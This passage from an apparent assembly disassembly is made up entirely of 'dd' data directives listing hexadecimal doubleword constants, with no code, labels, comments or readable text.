		dd 0BB4E9325h, 67086196h, 96EE2803h, 0F7489EDFh, 8E925566h
		dd 7028A3F4h, 5AAFB475h, 4728F484h, 0E366A9B3h,	9F5125A0h
		dd 9D6C5D7h, 18FCA8B7h,	8D6F41EBh, 35E9BE30h, 133B4876h
		dd 0AF84BB84h, 0E5EEF8FAh, 0D86CC0BEh, 3D5A537Ah, 88292A8h
		dd 33AB66CAh, 0A90A87F7h, 0B06BEA33h, 42837F2h,	0D8305AD3h
		dd 74E9BB66h, 943E9C2h,	8C786555h, 89CF1D91h, 0C8CD1E5Fh
		dd 2D9431D1h, 0CD10835Eh, 80F775BAh, 262D5B2Bh,	27FCDE44h
		dd 866CC701h, 652F20h, 0B353E734h, 49F3805Dh, 0AD3F632h
		dd 0FA6055E5h, 81800235h, 640709E6h, 86C068BEh,	4F60FF51h
		dd 0CC7D420Ch, 0A9409725h, 405F4AFh, 0CD73E922h, 6034B052h
		dd 0CCC50520h, 5DDC4878h, 5317DB30h, 78C9BFB7h,	2D59C524h
		dd 0E9B5985Dh, 0BD189A2Ch, 0FA297E02h, 658B7EE1h, 0CC8100F8h
		dd 254F0901h, 7401FE8h,	0AA0B30E9h, 6C5FC161h, 0C554F30h
		dd 7C2E5259h, 28F1023Fh, 29926995h, 89E0E055h, 0A14AAC5Dh
		dd 9B794658h, 92C2424h,	98F62985h, 0BB3E8251h, 5BAA2E38h
		dd 12DCA313h, 82E7E9h, 0DB547D53h, 3F28D3D1h, 16684604h
		dd 7C30F322h, 9BA3B40h,	55057F64h, 0B4089504h, 5C12A60Eh
		dd 0DD0178E6h, 50F059ADh, 1810C7D8h, 0C261D15h,	463E7A4Ch
		dd 0C3F70214h, 585717h,	131A7793h, 745FE913h, 161B4920h
		dd 0EB2BE5D3h, 0A2D9400Ah, 0F572B403h, 4EE8D12Dh, 20587EAAh
		dd 0C012CFA2h, 160906E3h, 49175E2Dh, 4BABC400h,	0E3EC1E8Dh
		dd 1143C809h, 811FF638h, 0FD16B4B9h, 3E65355Ah,	2742880h
		dd 91194A46h, 63B8712Eh, 6D33736h, 515887B2h, 0B4273C7Eh
		dd 7FBE1E80h, 7C484F14h, 2C210B76h, 0D605D785h,	0EE21FF47h
		dd 2F82C64Ah, 691970C3h
		dd 5CFB5A5Fh, 4C278307h, 16C85A6Eh, 14AF2C15h, 31309DB4h
		dd 3EB9BB49h, 2F09053Dh, 682E83A3h, 35F29484h, 0C94D5A2Eh
		dd 1E10595Dh, 9FA9452h,	0EB63845Bh, 0C2F47DADh,	1BF0814Ch
		dd 413AF39Dh, 977636E9h, 69987391h, 4F1624F8h, 5EE10193h
		dd 0D844EC36h, 3B3ED5C9h, 2C874EB3h, 0E3581E70h, 0AD1527E9h
		dd 0F160A456h, 9550F340h, 0C04573F6h, 0E15B40B0h, 5F845732h
		dd 0E4A2AF8Ch, 996A2D04h, 5088508h, 5440021Fh, 0B57B3BD2h
		dd 5B1D1FFEh, 1E16B6E8h, 20083AE6h, 0F5833DE5h,	63CE3F0Ch
		dd 24A1CDB0h, 18729B30h, 48955ECAh, 0B102336Dh,	21548C22h
		dd 0CF21ECF7h, 180499DEh, 0A7248862h, 7D494341h, 2DAAC2CCh
		dd 756001A0h, 0D125E9DFh, 0B9D6A03Fh, 5BDC1AE2h, 0DE25BF05h
		dd 2B15D405h, 19507DB2h, 67B22C20h, 13461C29h, 0A619BFE2h
		dd 0F6DAFA0Ch, 0D1880E48h, 11E96C58h, 8CDDED54h, 20006CBFh
		dd 40CB3576h, 3F05C54h,	0D7F6C7FEh, 3D06F9h, 95454E68h
		dd 0F96075ABh, 3B1EB4BAh, 0A38C79DEh, 4BB4758h,	8B84D2CDh
		dd 93FFFD29h, 4B8F8EBBh, 0E909688Ah, 91DE27E5h,	0A449C27Bh
		dd 0F9C2E287h, 0AA2D041Ch, 40EA71E4h, 61EC96A2h, 9026EB9Eh
		dd 0DFC8C325h, 0E16CDDE9h, 3835632Ah, 1E015779h, 5F746C6Eh
		dd 9630EFD1h, 9FFE941Bh, 6415CB7Fh, 0A913E0FCh,	292D99ACh
		dd 893934F3h, 5F7C540Ah, 0D1BDCE66h, 27EEA0EDh,	0C0463E32h
		dd 67BD4FF2h, 70AE207Ah, 34AE3EF5h, 620FF302h, 97C02803h
		dd 11912AB1h, 0D4AD3EBCh, 3C449EDCh, 5FE1A2AAh,	0E978005Ch
		dd 2F9E940Ch, 76A529F4h, 1B7FAF9Dh, 77EDE1ACh, 0D816EA7h
		dd 2A2D5E68h, 1D1100CEh, 5C5A27CCh, 0C7D47A81h,	1133C44h
		dd 5E618D29h, 0DE897F30h, 5B40E63Fh, 0F386F0EDh, 0C1013B30h
		dd 0EE3653A6h, 216BCF29h, 41D3014Dh, 7DE094h, 26121D0Dh
		dd 1ED43C68h, 38670006h, 3B2D25BBh, 0AE62EE12h,	5EA3BF1h
		dd 0C4C0E0D2h, 0F08C1225h, 5DAF0CC6h, 6184231h,	1F65512h
		dd 81550FFh, 14B85014h,	0A023E913h, 0F13C30F0h,	18E63D80h
		dd 0EDBD629Ch, 0DCA21270h, 67B1EE27h, 0BCD31AC9h, 5D270610h
		dd 0B6E5CC7Fh, 4EF769CAh, 9770BC80h, 0E3418585h, 385089DEh
		dd 0B6E0C9B2h, 0DEE160D7h, 744CB833h, 45BF0165h, 0CD891554h
		dd 10E69A7Eh, 0BA179FB2h, 0CA12ABF5h, 6E103AFDh, 86975A6Fh
		dd 0CBF8C4C5h, 7AF941E3h, 0FA2F985Fh, 7228AAB4h, 0A458F6CEh
		dd 4193B07Eh, 13216D90h, 0FD883B99h, 0ADD9BD52h, 3095B604h
		dd 0FD4999AAh, 5C57243Eh, 4B92659Ch, 0C2519FDh,	0F27A8A59h
		dd 92C04A60h, 1240D36Dh, 1C70648Dh, 9A073AEh, 184EA0E9h
		dd 0AB68E420h, 62AB9C10h, 7F095A23h, 2ACCF81h, 7BA1EC11h
		dd 0E7F2C99Dh, 0E05AD7C0h, 57229FF9h, 0B096ADBh, 80A25F1Fh
		dd 0D6575C29h, 3DD042EDh, 7606CF20h, 0B85A4E46h, 5D8F0603h
		dd 0B0C5220h, 0E92FBCAFh, 0F189475Eh, 2E69040Bh, 68B480EFh
		dd 0A1BC6270h, 0AA849049h, 926082A2h, 0A9052C76h, 0BFCE810Bh
		dd 4617901Ch, 85000DB9h, 2166E4D9h, 50955EF3h, 0E3C1149Fh
		dd 0FC05A006h, 1C467EDh, 5450BD80h, 0A4A86A25h,	0F25B0840h
		dd 1E849DFEh, 0BCC1C512h, 8AAB4FD0h, 5F5C8971h,	127F78DAh
		dd 0D12926C7h, 0D1F07575h, 0ACE48FEh, 81033A20h, 0CA241AE3h
		dd 57F1D96Ah, 0C5FBF755h, 0B294EB78h, 0E0EBB252h, 45707139h
		dd 0F0D7DC97h, 0E594BBE9h, 68D7F702h, 0E2C3CB35h, 173E7EEFh
		dd 0B19AEE51h, 6542A04Bh, 3572C7AAh, 0B4985E5Fh, 0D5E91256h
		dd 0CCF8A425h, 0C2D9BD60h, 329E4338h, 0EACE294Ch, 4DF10889h
		dd 0CBF9F36Fh, 7D203348h, 4BCE681Ch, 0D0B8DF2Fh, 0E85E215Dh
		dd 81F4FDFCh, 273C1D2h,	0E963F866h, 81DD1B31h, 0C7216DDCh
		dd 0D1500419h, 993692B8h, 0E818D822h, 7005D8F3h, 0E03FFFE7h
		dd 9DFF7E33h, 72C7C1D9h, 0D7B4433Eh, 5D2FB1A8h,	63AA629Eh
		dd 7D18E075h, 832BEB1Bh, 0E37935C6h, 0F6544240h, 0ACB34A57h
		dd 3BE2C408h, 896BB9BBh, 0C99F15Ch, 0CB95E7AEh,	7D16607Dh
		dd 0EB004327h, 59E17D2h, 6BAC61E9h, 7BF1315Fh, 0DCD0A1F3h
		dd 3A09F15Bh, 0D7DAB9A7h, 0DAFC02DFh, 25F0B6Eh,	585F43Fh
		dd 0F59FC1BCh, 0DBB2011Fh, 0A5281EDDh, 61F0BF03h, 46D22EEAh
		dd 0F10506F2h, 72F74930h, 566D1281h, 0A08367E9h, 73FD360Ah
		dd 690526FEh, 5987E4Ah,	0E9F890FFh, 0B9CE83FCh,	5193FCE3h
		dd 5CA86CE8h, 0E33AB998h, 29449613h, 4508CB50h,	9EF26B92h
		dd 51FB01E0h, 69EE5650h, 0E926B304h, 4168A22h, 108F2BCCh
		dd 94DF10FAh, 0F6F65128h, 8A6ABE71h, 92A4B210h,	733515C9h
		dd 15BA307Ch, 143E684Bh, 0A962C59Ch, 0F3AD055Ah, 0B5BD40A1h
		dd 312CDBBAh, 93E4C8D2h, 9E58E8BEh, 54FCAB09h, 0E8815CBFh
		dd 93316E3Ah, 90548E4h,	295E78D2h, 97D4BB65h, 6C106CFDh
		dd 7B5E4988h, 5E1737B6h, 11C703E9h, 8BDFF9ADh, 0F7C27DA3h
		dd 0E5DFC26Ah, 8BF7AD37h, 0A5EE040Eh, 5FB2EB13h, 8E612525h
		dd 0BBC34352h, 4E42753Ah, 0E58142BCh, 0F8F0B7F1h, 9F29E9h
		dd 112BBA4h, 850BFDDh, 0D86E1806h, 0E148E92Ch, 6668FA2Ah
		dd 0A84A5E68h, 0C312DE6Eh, 0E5E5CDEEh, 0B567F2B3h, 3504F525h
		dd 0A6ED885Dh, 4577A40h, 0FE2DCCBFh, 0B4C1FF54h, 0BB009740h
		dd 49023B81h, 0C6D6BA77h, 9E00F55Ch, 4D926ADEh,	0EA5121B2h
		dd 6EBA2108h, 0CB1C9BCh, 6D9D6A6Ah, 0FBA3D86Bh,	9EAE927h
		dd 0BCC1F51Fh, 60E925DCh, 345B4B91h, 0D3E268ECh, 5CBF9878h
		dd 96F7C93Bh, 0B453514Ah, 0AE59126Ah, 7065CF0h,	0F180C1FEh
		dd 0B07CF41Ch, 297B5B92h, 90091A90h, 460AC64Bh,	0FF524E65h
		dd 0AF93318Bh, 0C141B1CBh, 4D79EE3Bh, 0E8E91400h, 50D9B213h
		dd 5EE28CC5h, 0C5D8B84Ah, 0A7715BDEh, 16745FFEh, 0BF4EF6E9h
		dd 0DDEB8FF9h, 0B0988D14h, 7C551125h, 210DE928h, 77E93F28h
		dd 1FE952E0h, 0E5F73854h, 95637106h, 36A4D35h, 2D375158h
		dd 0AF94D9E9h, 132468E2h, 0F850ADA0h, 980FC1B0h, 0C5C71B23h
		dd 8BAB212Ch, 0DA5C2EECh, 8E4B2312h, 6FF17CBCh,	52F4B3A6h
		dd 0F5814D0Eh, 8FBEC7C1h, 0D11ECDC2h, 653588A3h, 3C39462Ch
		dd 44349CCAh, 0CE1ED527h, 706C78C5h, 0BE836BF8h, 9AD3A01h
		dd 0A450F8CFh, 0C624C798h, 26BC71Fh, 57C2D01Ah,	2095C6CEh
		dd 0FC33164h, 16C076B7h, 0A8252C68h, 12E68575h,	9303A6EAh
		dd 0D1D0D3FEh, 41562B4Bh, 7B4374F0h, 2C289253h,	62FAEDF3h
		dd 0D8C7148Bh, 3107C220h, 4E7BEE47h, 3ABCCED0h,	0F46576D5h
		dd 3BC8F4B4h, 630C10Ah,	0E561B81Eh, 95E96F16h, 0D86912AAh
		dd 0C60181C7h, 0A7E0FEDh, 0E61EE01h, 0C516DA39h, 7AD38C2Eh
		dd 40C65116h, 5462C900h, 4FE93793h, 0E7E1D090h,	6BFE6DE6h
		dd 9BEA4790h, 0C612782Ch, 2945150Fh, 39285F69h,	6AF42F08h
		dd 0DFC12234h, 0B62A74FAh, 920931F1h, 8E6EEB33h, 0AFEA210Ch
		dd 7C40646h, 0ACEE02E9h, 0E7AB92FBh, 0B4AB840Bh, 5B03B616h
		dd 0F4012DACh, 891C361Ah, 0ECA26FFBh, 723CB902h, 37C13A08h
		dd 1F6E7CB7h, 0D30B59BBh, 0FCB7F228h, 69623A4Dh, 0A704B624h
		dd 0D202837Ch, 7D71FA73h, 0DC19EA11h, 54A79E4h,	0E9177AB9h
		dd 0E8985386h, 4BF7E3CFh, 2D5A82B5h, 57C55529h,	0C7667F27h
		dd 9A269BABh, 0C6A5AE98h, 1E5D9515h, 437394CFh,	3A5E1167h
		dd 3EA19EB2h, 0F89634CEh, 2F6075EEh, 3F6D6895h,	5F5924B8h
		dd 2E5A0220h, 41750191h
		dd 0C2157FB8h, 68706A8Ah, 62695B5Fh, 0B4EEAC3Fh, 4819CE4h
		dd 0E86F84CDh, 373FC375h, 20769581h, 0A060FAAh,	0EE836A05h
		dd 1487E62Ah, 0AB283C2Bh, 0D8BF3833h, 0FC4B0BBh, 38B91259h
		dd 109FF3D7h, 8706D911h, 8D7F7FDh, 0EFA175A0h, 31EC4712h
		dd 4F73CCBBh, 95F85660h, 0BD4ADD32h, 0F20FF1FCh, 43ADA5FBh
		dd 1A055B80h, 20A8B8F0h, 6090A0BBh, 449E6F26h, 0E7457552h
		dd 2812E99Eh, 0D4B715B8h, 294CE1C3h, 2BEB79F4h,	0E9BFEB84h
		dd 0DD8BDF59h, 8B32FE07h, 0E0461505h, 0D528BB01h, 0B2E9562Dh
		dd 9E202F25h, 574C4152h, 70038324h, 3BF937E6h, 0D8F2E6B1h
		dd 78D0ED80h, 2C6E35E9h, 51670297h, 0FEE0A352h,	74D35935h
		dd 0C486D0EBh, 0B1B669D1h, 0D563FB00h, 9AADE916h, 0F230A0F6h
		dd 856B0B2Ah, 0E557312Bh, 0C0BA8A0h, 2629750Fh,	2C021D0Ch
		dd 85E9224Ah, 7B1EDF58h, 0F0AD2BFFh, 461A88E5h,	5D13D194h
		dd 0AB4E1CBDh, 0B476310h, 0EA75E4E9h, 212F552Ah, 0FF29AE6Bh
		dd 19369DDh, 78C02D00h,	5C4A93BAh, 47834ABh, 173BC7F8h
		dd 431822ABh, 0B1E5655h, 64FD8CB1h, 5E5D0E77h, 0C3C028CFh
		dd 1AF6549Ch, 39BB5F4Ah, 0CF233092h, 1071D12h, 72AECF09h
		dd 0C1EE079Bh, 0D074E025h, 37BB53D6h, 24EA4806h, 0A5ED3F7h
		dd 99CA6DF9h, 71DF06DCh, 0DE1D2CDBh, 3400B850h,	0C2E96CA5h
		dd 2854C146h, 446704D8h, 5F7EA0FBh, 0AB969CFEh,	7FCD890Bh
		dd 4E59C603h, 0FE5F4AE2h, 365E697Ch, 0C0F0DC2h,	70B2D96h
		dd 85295F52h, 0E341B07Ch, 411CD5BEh, 0EC856489h, 411F7B55h
		dd 63444EE9h, 762F78DBh, 4C274892h, 6FEDB445h, 87316CFFh
		dd 0F0AB5F68h, 0D0295A0Eh, 7527BD9Bh, 44C8CC28h, 0C91085E9h
		dd 3EC4E117h, 89211D8Dh, 843AC861h, 17825CCh, 161A43FFh
		dd 8A1F3009h, 396F7700h, 0F7E9D589h, 0BA44C0E6h, 6662567Fh
		dd 49E0D0CBh, 0ACE407B7h, 0F5210001h, 0E5D14D5Eh, 0E74A27E9h
		dd 5BFCEB74h, 753368C2h, 53880C71h, 0EBF4250Eh,	78A90C1Eh
		dd 0DF0C5C26h, 9BA3236h, 62445AABh, 0F1CAD660h,	636C5D12h
		dd 510159B3h, 395EBCB9h, 0B3432025h, 6A5FD5E8h,	2AC5DB4h
		dd 29902ECDh, 0BEE15DE9h, 0E5F87FA3h, 923A293h,	0F5CB015Bh
		dd 58B2D030h, 52A764B4h, 759E821Bh, 0C6E92723h,	5E6F5E5h
		dd 2D0BAF1Ch, 85544A02h, 0C79655E5h, 59D69DEEh,	556E9554h
		dd 841D5D48h, 0E2BD1988h, 82F0BD27h, 0DF28564Eh, 465A245Eh
		dd 203102C1h, 25FBB9Eh,	6187091Bh, 0AB146D23h, 82EE93D0h
		dd 7A5D2F1Ch, 51DD49E2h, 3615807Ah, 0E94D33D5h,	8BF1CB2Ah
		dd 7179C506h, 2F0C3528h, 8E834FACh, 23029555h, 8077C0EBh
		dd 60A78943h, 16672D86h, 0AE76485Ch, 5001CA88h,	9565D1E8h
		dd 0C9091EDAh, 589D2AE5h, 169512B5h, 0D44C0452h, 7FD13B5h
		dd 5BFC6B7Eh, 5F070074h, 51B2E831h, 2DC844C9h, 0BF7E3002h
		dd 13D88115h, 7ACDA88h,	0EC20F758h, 0E0B53151h,	0A2B1590Eh
		dd 0FDD8F742h, 649BDFC9h, 0EB2780E8h, 0ED6577CDh, 0E4F56614h
		dd 9359F2EAh, 4CC62001h, 0B700397Bh, 2F4B434Bh,	89610EAh
		dd 141C68h, 8B68565Dh, 764B7C06h, 4FAE2BBEh, 7E94F0h, 816FD85Eh
		dd 0CD0A7FE3h, 28E94915h, 64AB4BC4h, 6B0BAB16h,	3ED665F9h
		dd 0E059CC93h, 64EE02ECh, 0A2FB08D2h, 0CAEA9662h, 68631ADh
		dd 0BBED2F6h, 0F0685A05h, 0C289A840h, 0FCE9D388h, 0F2B88288h
		dd 25E06943h, 91BF8129h, 0EDDC5CF6h, 21281F88h,	2388A565h
		dd 55F02508h, 0E6B2555Ah, 68535207h, 1233F334h,	0E5DF87FAh
		dd 4F1D89ECh, 983D9475h, 9D2A753h, 97A12AE9h, 2E262868h
		dd 22A28C31h, 0D09F1AA6h, 3662D568h, 9F0A947h, 27D7DB5Dh
		dd 4A68D110h, 0C8CD015Eh, 48FB6BF4h, 75106550h,	5B9776D0h
		dd 0D2680796h, 0F9D70944h, 0C3BA4027h, 6EB8813Bh, 575B4A95h
		dd 595A137Ch, 0B6F0D77h, 0A54524D5h, 0DD25159Ch, 39B1D047h
		dd 5B038A6Dh, 0F64AC9B3h, 0FBB461FEh, 0BBF85088h, 5A16641Ch
		dd 8300C121h, 221FEEE1h, 2686906Ah, 3A3D0578h, 970448A7h
		dd 4010EC58h, 3D1627CCh, 2012BCAh, 75B07269h, 0E851320h
		dd 0E94A0B23h, 925C8BC9h, 8A52C98Ch, 0E5F25031h, 1EA9944h
		dd 7CD77B41h, 8E02B09h,	17C109F6h, 268439E1h, 0C4BE0352h
		dd 91CB933h, 0C306812Bh, 4ECA6A6Fh, 2932CC4Eh, 5F5BD825h
		dd 36E90E98h, 0BB387960h, 0B8317B0Ah, 845D4BCDh, 5AA8BFBBh
		dd 0C62611ADh, 85392B5Ah, 58AA4860h, 0C981EE2Bh, 7F1B3851h
		dd 1202E6BCh, 131C055h,	0E9090708h, 0B875C180h,	1C37E130h
		dd 8063355Dh, 7056AA8h,	29149D18h, 0D7C221h, 9B3D8EF2h
		dd 5F4FE962h, 172BB336h, 9EF9347Ah, 0E705D941h,	13B73DE0h
		dd 0EBD7F62Ch, 13D21B1Fh, 488EB7h, 0D144FD48h, 0B855EC54h
		dd 41B75FF5h, 7F7C2283h, 2EB03E72h, 24009F06h, 2738E7BDh
		dd 2CA2419Dh, 9D4E3EC0h, 0F580EE7Eh, 7B749C0h, 0ED9954E9h
		dd 76F10FBFh, 324B6133h, 0B63C92F2h, 47111742h,	0F71A89B7h
		dd 0C00E0BD2h, 0D3FA4AD0h, 14B4D57Ah, 0DF922511h, 897AF248h
		dd 4B7EED92h, 0CEA01D99h, 0EF77060Fh, 7B11C154h, 0EA760C59h
		dd 8005758h, 416E357Eh,	37624DE9h, 96D7294Ah, 0ACE912FCh
		dd 497A2110h, 0F6306BCBh, 7D8D7F54h, 0B5D1E01Ch, 8BE8CA7Eh
		dd 6AD21F17h, 9FCAD0E2h, 5D0B34CCh, 763B6768h, 9546905h
		dd 0B3BBFA64h, 0C0012C71h, 5BD2F4BDh, 217F23EBh, 82B72FE6h
		dd 510E7570h, 717EA774h, 0AF63059h, 2D1785DDh, 0D5D60B28h
		dd 0D546125Fh, 2C8B1E48h, 8449C597h, 0BFD60DE9h, 8062C4A3h
		dd 4655888Bh, 829325BCh, 5A716677h, 0D273A154h,	9F51ECDFh
		dd 2FCE9755h, 192B2418h, 7B90186h, 0E910300Eh, 34A29FAh
		dd 426BF1EFh, 0AF7B013h, 181C0126h, 7962D52Dh, 3C3AD44Bh
		dd 129A609h, 0B43F87F8h, 0C1704ED0h, 0E90809E3h, 47443E7h
		dd 0F0EA094Fh, 0EBD12E94h, 0B6A83995h, 4D5EEEh,	5EF13162h
		dd 9F30E957h, 0F9B62AE1h, 30A600B5h, 0CDFE5AF5h, 2E6FC580h
		dd 0E81A590Bh, 2897E569h, 7F04B37Fh, 0EEE9EBD0h, 9C8B96A8h
		dd 219BBBD0h, 9610F9Ch,	7D762012h, 19208CFh, 0B62B4425h
		dd 7A03E1Fh, 17D2E82Dh,	842145A4h, 0CE56EAD2h, 7F359DAFh
		dd 0BC2A4C89h, 2CEEF4F8h, 0B1BA51E4h, 37FD722Ch, 4062F307h
		dd 6C811DD4h, 69ED6E14h, 0F32AB696h, 5FFB396Ah,	0CB2B5329h
		dd 0CC264C43h, 12A46C57h, 0B450B18h, 0B07CDE31h, 68C21024h
		dd 2A45F8ACh, 988DF3E9h, 79A90C62h, 0B50C5022h,	21423A04h
		dd 0E6EAF101h, 39FE1A49h, 34745534h, 0DA1957DAh, 64AE4254h
		dd 4C52FCAh, 0FB112BFh,	0B2D377AFh, 98DC08ADh, 0CA950C97h
		dd 97B8EEEh, 792A6468h,	2F258509h, 7D00BB13h, 924BC4CDh
		dd 41A8B029h, 0CD852FEBh, 0C999480Eh, 6532D9EFh, 8095431Dh
		dd 0C69AB3F6h, 3F6BCB8Ah, 53C1F227h, 9A816B04h,	600798C2h
		dd 0F8304FB7h, 0BF0C5B00h, 5105E8C0h, 0A431F5B1h, 0C066F5F2h
		dd 3BD7EB3Bh, 3FEA02FDh, 5747DA43h, 82028F6h, 62225E5Eh
		dd 300EC1F0h, 0CBAB0005h, 68DDF658h, 599969E4h,	0E90FB481h
		dd 0CE7B271Fh, 0C7ED2AA4h, 0F65B660Bh, 335D7CDAh, 0F7B031BCh
		dd 0FA092838h, 794E70E9h, 49011EF3h, 9ADE4AB2h,	0A2C04A53h
		dd 688FD8E3h, 0E6469575h, 5F67CBBEh, 175429F3h,	9D438299h
		dd 57B06B48h, 27429005h, 4FD4022Fh, 5D4B0720h, 967C2891h
		dd 3BE1C101h
		dd 45B47EC0h, 2F26B8B2h, 0FD981A30h, 0D0163DF1h, 0C004E4Ch
		dd 44A85C74h, 5CA0781h,	600E2B58h, 0EA7C6CE2h, 7BDE5560h
		dd 7906C438h, 2A0360C1h, 70514B09h, 0FFE86CB8h,	29578509h
		dd 0C80F04D6h, 686D45BBh, 0F2EBA1FCh, 5F255275h, 658BB84Dh
		dd 8DACA2B6h, 0D90288Bh, 408205C8h, 2E290D14h, 2531043h
		dd 41063B25h, 46794FE0h, 181EF230h, 17844E6Fh, 53DFE937h
		dd 79B0AD91h, 0FE69790Ch, 175C0C28h, 0BDFACA4h,	0EB11B2F9h
		dd 981088E0h, 0CE010B30h, 275C4800h, 59174935h,	6CB8F229h
		dd 0A76775B3h, 5994501Dh, 0B9F0C5E1h, 40772D3Bh, 0C319987Fh
		dd 3B787F07h, 76650123h, 0AF9BD49Fh, 30B147E9h,	39AA2BC3h
		dd 0E63F30A2h, 91F32F4Bh, 0DD29061Ah, 0ACEF45F5h, 1E7F2733h
		dd 0E9F70456h, 0BC0CE868h, 673BC5ADh, 97A431EAh, 69B00016h
		dd 0C5C34888h, 2213D33Eh, 3560AE37h, 5FE6A27Ah,	8100BBBAh
		dd 48765FC3h, 0BDEA9518h, 0D9E90802h, 0B40EEC7Ch, 56E62C88h
		dd 0C6FE00D6h, 8059B353h, 0DBF4A2CBh, 144EE913h, 41919C20h
		dd 5F773E37h, 0DE095627h, 1179D9D4h, 0BE2DC76Ch, 0B9F89FDh
		dd 0C2E1DC3Ah, 0F157EBB2h, 3D0BAD95h, 686954D9h, 5FB551E2h
		dd 5A0DE839h, 0BE567B20h, 2B351F0Eh, 31718866h,	9B09E320h
		dd 5F34725Fh, 80728E2h,	0E4FD1B58h, 0B52CC0D9h,	29110301h
		dd 7550EF2Ch, 5A410A38h, 0DD00A82Bh, 893ECCC7h,	69E917D8h
		dd 431921D2h, 0F8EE04B4h, 0FA471B9Ah, 8F17EA10h, 37B7C38Ah
		dd 0B05600D0h, 305434EBh, 524C58C7h, 0FE4509DBh, 4592DDC1h
		dd 993640D7h, 88048324h, 613E424Bh, 0CF9A900h, 589731E6h
		dd 0F448D273h, 5E4042ABh, 91D112F7h, 0F1F4BF40h, 1AF0032Dh
		dd 0C6314DE3h, 2D337DE1h, 26E0075Dh, 70694F76h,	0B7F77601h
		dd 654EF02h, 15B65201h,	94EB4C61h, 0FF5EF3FCh, 59E96868h
		dd 80075653h, 3CFECDCAh, 0EAF0A30Ah, 0D0208A17h, 4C0DC0Ch
		dd 7D74BE9h, 74D6017Dh,	5947F0ECh, 9C202AA6h, 3CBD288Eh
		dd 0BC4D58E8h, 0E778A704h, 218B8276h, 53FA115Fh, 0B35FC378h
		dd 0E8E98376h, 0AC755FACh, 0B7F478A6h, 7D973F70h, 0FF487B3Ah
		dd 749791F7h, 0A97F4B49h, 0FC8E097Bh, 3532A56Ch, 579DFFB4h
		dd 1760C029h, 7AE14A66h, 44D2EBBDh, 0E4180503h,	899F3CA1h
		dd 0EB0FDBA0h, 0D69E227Fh, 0E4387F4Dh, 0FF832C4Ah, 0F5F5345h
		dd 0E3B1A94Ch, 0E45960CDh, 8AFA54E5h, 872C2C9Ah, 2EBBC34h
		dd 0DD25434Ch, 0FE72CD18h, 0E94A5EBFh, 0D7A0FDC4h, 76252DD7h
		dd 0B597C47h, 0A202E2C1h, 9DD7B615h, 385BA5CAh,	8C59F025h
		dd 0B080B739h, 228A1606h, 9ACE92Dh, 0B8CF0EEh, 1E0979B2h
		dd 0B39BFD7Ch, 0DF5EF211h, 4C09031Ch, 841297Ah,	820911Ch
		dd 0CF75E56h, 0CD7C8CE9h, 0CDC616C3h, 5BAEA04Dh, 0E91386ACh
		dd 34AF220Ch, 0C64A9856h, 0ED5AB909h, 78507F4Eh, 0C6100882h
		dd 52BDB8E9h, 74FE77C6h, 5B3BA0AFh, 2CD7F6DAh, 7050D901h
		dd 95AE9F9h, 0E8286307h, 703105D9h, 0BF4BE8B8h,	0EB9A1438h
		dd 22165D23h, 3890BBF9h, 0EC27A58Dh, 0A2E0BD29h, 7512CDEBh
		dd 5AE0119h, 0FA7A32A1h, 42C76044h, 0DDEB2907h,	0F45DC195h
		dd 1097167Ah, 0AB660204h, 60BBA0E3h, 42EF11Ah, 0AEC41E84h
		dd 0EE4B64CEh, 26E9AB88h, 821CDFE2h, 639D2A93h,	0B280E48Eh
		dd 6D2DEF2Eh, 7178161Dh, 693DA644h, 5150AFAh, 11D03A07h
		dd 74F49F5Dh, 0F012A08h, 0C360632Dh, 0CA323525h, 2168991Eh
		dd 5167E905h, 8704DBA9h, 0BC7BE37Dh, 591603E5h,	0ED472CB2h
		dd 0E7812EC0h, 950E127Eh, 4608096Ah, 755FA719h,	100321E9h
		dd 53D8299Eh, 5EB85025h, 0DCC04313h, 595B1C2Dh,	5664E986h
		dd 0E44E7125h, 0A4C82D26h, 68B60649h, 27E04CFAh, 0AE0C58CBh
		dd 5B4DA4A3h, 0C33AFB52h, 2C09BF4Eh, 79FB8C29h,	776DEBC5h
		dd 18101C00h, 60C2BE06h, 0F8056C27h, 0BBF1E680h, 0E1098B19h
		dd 2B4F6644h, 1F2269CCh, 4B42FA07h, 91713CFEh, 51C555E9h
		dd 7052E9C2h, 53053C0Eh, 5A21D79Ah, 0C59764F6h,	0AC13E8E6h
		dd 8F61BA65h, 8A2E5B54h, 5EBC93ADh, 0B16851A0h,	34CC36FFh
		dd 9D80D339h, 7B791AFCh, 0B0B4253Bh, 0DDDE020h,	0D0B54806h
		dd 0B63AE732h, 0E84F7B80h, 8F8B2F8h, 94ACB44Fh,	3313AAD3h
		dd 0B584C873h, 49101B59h, 9EFA2D24h, 71958D3Eh,	0A1174395h
		dd 5F3EF3D0h, 0E9041291h, 0A6BEDC5Eh, 89325EB0h, 0F7316A54h
		dd 4C59F372h, 87CA4AEDh, 9195AE4Fh, 5DFE2F0Bh, 5756A1A0h
		dd 21091A68h, 7C5F5215h, 2EE40B1Ah, 52EE8EDEh, 389A23AEh
		dd 3A584527h, 0E96D0344h, 7437B86h, 0CE3488F7h,	3EEF6069h
		dd 2502312h, 0D93878Bh,	0F4DC973Ch, 0A7C0F0BCh,	952CF0Fh
		dd 5803DCBFh, 7BCB1520h, 0A8145CEFh, 2064B55Dh,	2C946BF9h
		dd 37B9E4FEh, 69AE114Fh, 7A126147h, 0C2819EC5h,	88FD12Ch
		dd 0B587070Ch, 0B5E974Fh, 11328B83h, 40CE8104h,	0C1EB3C26h
		dd 0D5675E7Eh, 3EEE3C05h, 0E9850E9Dh, 5DEC92A8h, 0A64BA8E4h
		dd 685D0AAFh, 861523F1h, 469BEFE9h, 0FAADBB5Fh,	0B6CE013Ah
		dd 0B84348D0h, 48F525E9h, 0F095C344h, 0BB681C6Ah, 145F2564h
		dd 0BEE92716h, 7E9754D0h, 8201E5F1h, 0D3591056h, 44D5BB80h
		dd 5811B04h, 193415E3h,	9D66C238h, 0E2250879h, 8E62577Eh
		dd 22C7A380h, 0D9B03227h, 7D30D541h, 2D1BBECEh,	0F56D0651h
		dd 0C277F32Bh, 57726D68h, 0D530E845h, 5E33E959h, 8649FFECh
		dd 0E5407F40h, 0A6276CE2h, 0B9E37E42h, 8C5617FEh, 103A2465h
		dd 8420CB08h, 524B56B7h, 24037175h, 4EFA1095h, 76BED792h
		dd 904616EEh, 0FD980D4Ch, 0AC21CF3Ch, 518855Eh,	90470706h
		dd 2A7C086Fh, 0BF0F0A78h, 5FA51D2Ch, 32133D60h,	2F4EE69Fh
		dd 0DC712171h, 550E57C5h, 5F5229E9h, 26D96D3Bh,	0CF57294Ch
		dd 90428650h, 5CC2072Fh, 602D036Ah, 1D223FF2h, 0B203D99Eh
